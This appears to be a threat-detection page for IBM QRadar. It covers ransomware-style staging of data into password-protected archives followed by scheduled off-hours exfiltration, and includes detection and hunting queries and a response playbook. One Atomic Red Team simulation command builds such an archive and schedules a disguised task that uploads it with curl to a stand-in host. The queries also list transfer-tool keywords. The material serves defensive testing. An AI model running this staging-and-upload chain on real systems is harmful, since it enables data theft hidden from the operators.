Detect Scheduled Batch Exfiltration of Compressed Archive Staging in IBM QRadar
Double-extortion ransomware affiliates routinely stage stolen data into password-protected, multi-volume compressed archives before transferring it off-network, and increasingly schedule that transfer to run in a single batch during off-hours or maintenance windows to minimise the chance of SOC observation and to blend with legitimate scheduled backup jobs. LockBit and BlackCat/ALPHV affiliates have been documented staging data with commands such as `rar.exe a -v500m -hp<password>` (password-protected, 500MB split volumes) and then invoking a transfer tool (rclone, MEGAcmd, curl/SFTP) via a Scheduled Task created specifically for the operation, timed to run during low-traffic overnight hours. Cl0p's mass-exploitation campaigns (e.g., the 2023 MOVEit Transfer exploitation) similarly relied on automated, scripted batch retrieval of staged data at scale rather than interactive, ad hoc transfers, timing collection to minimise operational footprint. This detection targets the composite chain rather than any single step in isolation: (1) an archive utility creating multiple password-protected, size-limited volumes — the staging signature; (2) a Scheduled Task created around the same time, referencing either the archive path/extension or a known transfer tool — the scheduling signature; and (3) network egress from the same host at the scheduled time to a known exfiltration-capable destination. Correlating all three within a short window is a much higher-fidelity indicator of T1029 Scheduled Transfer than any one signal alone, since each individual step (archiving, task scheduling, network egress) has abundant legitimate uses on its own.
MITRE ATT&CK
- Tactic
- Exfiltration
QRadar Detection Query
SELECT
DATEFORMAT(starttime, 'YYYY-MM-dd HH:mm:ss') AS EventTime,
hostname AS Hostname,
username AS User,
"Process Name" AS ProcessName,
"Command Line" AS CommandLine,
CASE
WHEN LOWER("Process Name") LIKE '%rar.exe%' OR LOWER("Process Name") LIKE '%7z.exe%' THEN 'ArchiveStaging'
WHEN LOWER("Process Name") LIKE '%schtasks.exe%' THEN 'ScheduledTaskCreate'
ELSE 'Other'
END AS Signal
FROM events
WHERE LOGSOURCETYPENAME(logsourceid) IN ('Microsoft Windows Security Event Log', 'Sysmon')
AND (
(LOWER("Process Name") LIKE '%rar.exe%' AND (LOWER("Command Line") LIKE '%-v%' OR LOWER("Command Line") LIKE '%-hp%'))
OR (LOWER("Process Name") LIKE '%7z.exe%' AND (LOWER("Command Line") LIKE '%-v%' OR LOWER("Command Line") LIKE '%-p%'))
OR (LOWER("Process Name") LIKE '%schtasks.exe%' AND LOWER("Command Line") LIKE '%/create%'
AND (LOWER("Command Line") LIKE '%rclone%' OR LOWER("Command Line") LIKE '%.rar%' OR LOWER("Command Line") LIKE '%.7z%'))
)
AND starttime > NOW() - 86400000
ORDER BY hostname, starttime ASC
LIMIT 500QRadar AQL query surfacing both the archive-staging and scheduled-task-creation signals from Windows Security Event Log and Sysmon sources, ordered by host and time so an analyst can visually confirm both signals occurring on the same host in sequence. Requires WinCollect or a Universal DSM exposing 'Process Name' and 'Command Line' custom event properties; pair with a QRadar building block/rule requiring both signals within a 24-hour window per hostname for automated correlation.
Data Sources
Required Tables
False Positives & Tuning
- Legitimate vendor data handoff via password-protected archives — whitelist known service accounts in a QRadar reference set
- Backup software scheduled tasks referencing archive utilities as part of routine jobs — exclude by known backup orchestrator process names
Other platforms for THREAT-ArchiveStaging-ScheduledExfil
Testing Methodology
Validate this detection against 1 adversary technique from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1Simulate Archive Staging and Scheduled Off-Hours Exfiltration
Expected signal: Sysmon Event ID 1: rar.exe with -v and -hp flags; Sysmon Event ID 1 for schtasks.exe /create referencing curl.exe; Windows Security Event ID 4698 for the created task.
Response Playbook
Triage
- Confirm both staging and scheduling signals fired on the same host within a short window — this combination has very few legitimate explanations and should be treated as high priority even before network egress is confirmed.
- Review the archive command line for the target source directory — this tells you what data was staged (e.g., a specific file share, database backup folder, or user profile directory).
- Review the scheduled task's configured trigger time and action — confirm whether it is set to run at an off-hours time inconsistent with the organisation's normal maintenance windows.
- Check whether the task has already executed (Task Scheduler history, Event ID 200/201) and, if so, correlate with DeviceNetworkEvents/firewall logs for actual data transfer volume at that time.
- Identify how the actor gained the access needed to create the scheduled task — this is typically a late-stage action following initial access, privilege escalation, and lateral movement, so review preceding activity on the host for the full intrusion chain.
Containment
- Disable or delete the identified scheduled task immediately to prevent the transfer from executing (or re-executing, if it is a recurring task).
- Isolate the host via EDR if the staged archive is still present and the scheduled transfer has not yet run.
- Preserve the staged archive as evidence before any deletion — do not simply delete it without extracting a copy for the investigation, since it defines the scope of what was targeted.
- Block network egress to any transfer-tool destination or IP identified in the scheduled task's action/arguments at the firewall.
- Notify data protection officer/legal if the staged archive scope includes regulated personal data or other sensitive categories.
Evidence Collection
- Full archive command line (source directory, volume size, whether a password was set) and, if recoverable, the archive itself
- Scheduled task XML definition (exported via `schtasks /query /tn <name> /xml`) showing trigger time, action, and the account context it runs under
- Task Scheduler operational log (Microsoft-Windows-TaskScheduler/Operational) Event IDs 106 (task registered), 200/201 (action started/completed)
- Windows Security Event ID 4698 record showing the full task definition XML in the event payload, including the creating user's SID
- Network flow/firewall logs for the scheduled execution time window, confirming destination and bytes transferred
Escalation Criteria
- !Both archive staging and scheduled task signals confirmed on the same host — treat as an active double-extortion ransomware precursor
- !Scheduled task has already executed and network egress to a known exfiltration-capable destination is confirmed
- !Staged archive content confirmed to include sensitive categories (customer PII, financial records, source code, credentials)
- !Evidence of the same TTP chain (staging + scheduling) across multiple hosts, indicating a coordinated, at-scale exfiltration operation ahead of ransomware deployment
Investigation Guide
Related Techniques
Forensic Artifacts
- >
Staged archive file(s) on disk (or remnants in Recycle Bin/free space if deleted) — volume size and password protection indicate deliberate staging - >
Scheduled task XML definition and Task Scheduler operational log entries (Event IDs 106, 140, 141, 200, 201) - >
Windows Security Event ID 4698 (task created) and 4699 (task deleted) — the deletion event is notable if the actor cleans up after execution - >
Windows Prefetch entries for the archive utility and transfer tool, confirming execution and approximate timestamps - >
Command-line audit logs (Sysmon Event ID 1 or Security Event ID 4688) capturing the full archive and schtasks command lines including any embedded password
Tuning Guidance
The correlation between archive staging and scheduled task creation on the same host is the core of this detection's value — running either signal alone will produce far too much noise from legitimate IT/backup operations. Build an allowlist of known legitimate archive+schedule workflows (backup software service accounts, documented ETL pipelines, approved vendor data handoff processes) and exclude them by account name and parent process rather than suppressing the whole rule. Because the off-hours timing is itself a signal, consider adding a time-of-day weighting factor (tasks scheduled between 01:00-05:00 local time score higher) if your SOC's normal business hours are well defined. Treat any host firing both staging and scheduling signals with no matching allowlist entry as a mandatory manual review, not an auto-suppressed alert.
Hunting Queries
Hunt over 30 days for any scheduled task creation referencing a transfer tool or archive file — most environments create very few of these legitimately, so this is a good baseline-and-allowlist hunt to run before enabling the correlated detection as a real-time alert.
DeviceProcessEvents
| where Timestamp > ago(30d)
| where FileName =~ "schtasks.exe" and ProcessCommandLine has "/create"
| where ProcessCommandLine has_any ("rclone", "megacmd", "curl", "winscp", ".rar", ".7z")
| project Timestamp, DeviceName, AccountName, ProcessCommandLine
| sort by Timestamp descindex=wineventlog sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1 earliest=-30d Image="*\\schtasks.exe" CommandLine="*/create*"
(CommandLine="*rclone*" OR CommandLine="*megacmd*" OR CommandLine="*curl*" OR CommandLine="*.rar*" OR CommandLine="*.7z*")
| table _time, host, User, CommandLine
| sort - _timeAtomic Red Team Tests
Creates a password-protected, split-volume archive of test data and registers a scheduled task to transfer it via a benign HTTP upload at a set time, simulating the LockBit/BlackCat staging-plus-scheduling pattern. Use only non-sensitive dummy data.
Command
mkdir C:\Temp\stage_test && echo 'dummy data' > C:\Temp\stage_test\data.txt && "C:\Program Files\WinRAR\rar.exe" a -v500m -hptestpass C:\Temp\stage_test\archive.rar C:\Temp\stage_test\data.txt && schtasks /create /tn "WindowsMaintenanceSync" /tr "curl.exe -T C:\Temp\stage_test\archive.part1.rar https://example.com/upload" /sc once /st 02:00Cleanup
schtasks /delete /tn "WindowsMaintenanceSync" /f && Remove-Item -Recurse -Force C:\Temp\stage_test -ErrorAction SilentlyContinueExpected Telemetry
Sysmon Event ID 1: rar.exe with -v and -hp flags; Sysmon Event ID 1 for schtasks.exe /create referencing curl.exe; Windows Security Event ID 4698 for the created task.
Expected Detection
Alert fires on both the ArchiveStaging and ScheduledTaskCreate signals for the same DeviceName within the correlation window; escalates to high priority if network egress at the scheduled time is also observed.
Related Detections
Tactic Hub
Detection Variants (3)
Different telemetry and tradecraft for the same technique — pick the one that matches the data you collect.
- THREAT-CloudCLI-ScheduledExfilScheduled Transfer via Cloud Sync/Backup CLI ToolsUse for cloud CLI LOLBins — rclone, restic or azcopy launched by a scheduler rather than a human.
- THREAT-Exfil-ScheduledBulkTransferScheduled Off-Hours Bulk Data TransferUse for network-side detection — off-hours bulk-volume NetFlow, when you have no endpoint scheduler visibility.
- THREAT-Exfiltration-LinuxCronScheduledExfilScheduled Data Exfiltration via Linux Cron JobsUse for Linux hosts — cron/systemd-timer job creation correlated with auditd execution and outbound transfer.